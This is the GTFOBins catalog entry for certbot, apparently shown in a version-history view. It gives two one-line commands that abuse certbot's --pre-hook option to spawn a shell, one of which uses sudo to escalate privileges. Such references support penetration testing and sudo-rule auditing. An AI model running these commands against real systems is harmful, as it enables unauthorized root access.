GTFOBins.github.io/_gtfobins/certbot.md

12 lines
429 B
Markdown
Raw Normal View History

2021-04-01 17:18:35 +02:00
---
functions:
2021-04-03 12:02:43 +02:00
shell:
- code: |
TF=$(mktemp -d)
certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
2021-04-01 17:18:35 +02:00
sudo:
2021-04-03 12:02:43 +02:00
- code: |
2021-04-01 17:18:35 +02:00
TF=$(mktemp -d)
2021-04-03 12:02:43 +02:00
sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
2021-04-01 17:18:35 +02:00
---